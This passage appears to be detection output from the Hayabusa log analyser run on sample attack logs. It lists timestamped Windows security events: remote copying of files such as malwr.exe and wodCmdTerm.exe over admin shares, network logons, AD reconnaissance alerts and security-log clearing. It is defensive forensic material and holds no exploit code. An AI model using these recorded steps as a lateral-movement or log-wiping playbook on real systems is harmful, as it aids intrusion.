10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Contacts : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Desktop : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Documents : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Downloads : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.689 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links for United States\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.699 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Favorites\Links for United States : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Links : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Music : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Pictures : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Saved Games : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Searches : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:25.709 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user04\Videos : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:26.981 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:26.981 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.061 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.071 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.081 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: ui\SwDRM.dll : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:27.081 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: malwr.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.488 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.548 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:45.548 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\Default\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:47.721 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:47.721 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:56.403 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:56.414 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01\AppData : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:23:58.386 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Users\user01 : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.105 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\assembly\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Fonts\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:04.115 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Media\desktop.ini : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.249 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.529 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.630 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:07.700 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.913 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\setup.bat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.913 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\setup.bat : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.923 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:09.933 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.053 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\ui\SwDRM.dll : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-18 23:24:10.063 +09:00,PC01.example.corp,5145,informational,Network Share File Access,User: Administrator : Share Name: \\*\C$ : Share Path: \??\C:\ : File: Windows\Temp\wodCmdTerm.exe : IP Address: 10.0.2.15,rules/hayabusa/non-default/events/Security/5145_NetworkShareFileAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_5145_Remote_FileCopy.evtx +2019-03-19 07:15:36.036 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55585 : LogonID: 0x10fac2,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.583 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49244 : LogonID: 0x10fbcc,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.614 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x10fbeb,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.614 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: PC01 : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x10fc09,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 07:15:49.692 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: user01 : Workstation: : IP Address: 10.0.2.17 : Port: 49249 : LogonID: 0x110085,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_WMI_4624_4688_TargetHost.evtx +2019-03-19 08:23:37.147 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:43.570 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55872 : LogonID: 0x15e162,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.491 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: user01 : Workstation: : IP Address: 10.0.2.17 : Port: 49222 : LogonID: 0x15e1a7,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.507 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: user01 : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.522 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.522 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.538 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:52.538 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:57.397 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: WIN-77LTAPHIQ1R$ : Workstation: : IP Address: fe80::79bf:8ee2:433c:2567 : Port: 55873 : LogonID: 0x15e25f,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:23:57.397 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: WIN-77LTAPHIQ1R$ : Share Name: \\*\SYSVOL : Share Path: \??\C:\Windows\SYSVOL\sysvol : IP Address: fe80::79bf:8ee2:433c:2567,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:07.601 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:07.601 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.413 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.413 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.741 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:11.741 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.647 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: Administrator : Workstation WIN-77LTAPHIQ1R : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.662 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,AD Privileged Users or Groups Reconnaissance,,rules/sigma/builtin/security/win_account_discovery.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 08:24:15.662 +09:00,WIN-77LTAPHIQ1R.example.corp,4661,high,Reconnaissance Activity,,rules/sigma/builtin/security/win_susp_net_recon_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Discovery/dicovery_4661_net_group_domain_admins_target.evtx +2019-03-19 09:02:00.383 +09:00,WIN-77LTAPHIQ1R.example.corp,1102,high,Security log was cleared,User: administrator,rules/hayabusa/default/alerts/Security/1102_IndicatorRemovalOnHost-ClearWindowsEventLogs_SecurityLogCleared.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.179 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: ANONYMOUS LOGON : Workstation: NULL : IP Address: 10.0.2.17 : Port: 49236 : LogonID: 0x17e29a,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : Workstation : Status: 0x0,rules/hayabusa/default/events/Security/Logons/4776_NTLM-LogonToLocalAccount.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4672,informational,Admin Logon,User: Administrator : LogonID: 0x17e2aa,rules/hayabusa/default/events/Security/Logons/4672_AdminLogon.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.210 +09:00,WIN-77LTAPHIQ1R.example.corp,4624,informational,Logon Type 3 - Network,User: Administrator : Workstation: : IP Address: 10.0.2.17 : Port: 49236 : LogonID: 0x17e2aa,rules/hayabusa/default/events/Security/Logons/4624_LogonType-3-Network.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,5140,informational,Network Share Access,User: Administrator : Share Name: \\*\IPC$ : Share Path: : IP Address: 10.0.2.17,rules/hayabusa/non-default/events/Security/5140_NetworkShareAccess.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/Lateral Movement/LM_ScheduledTask_ATSVC_target_host.evtx +2019-03-19 09:02:04.226 +09:00,WIN-77LTAPHIQ1R.example.corp,4776,informational,NTLM Logon to Local Account,User: administrator : 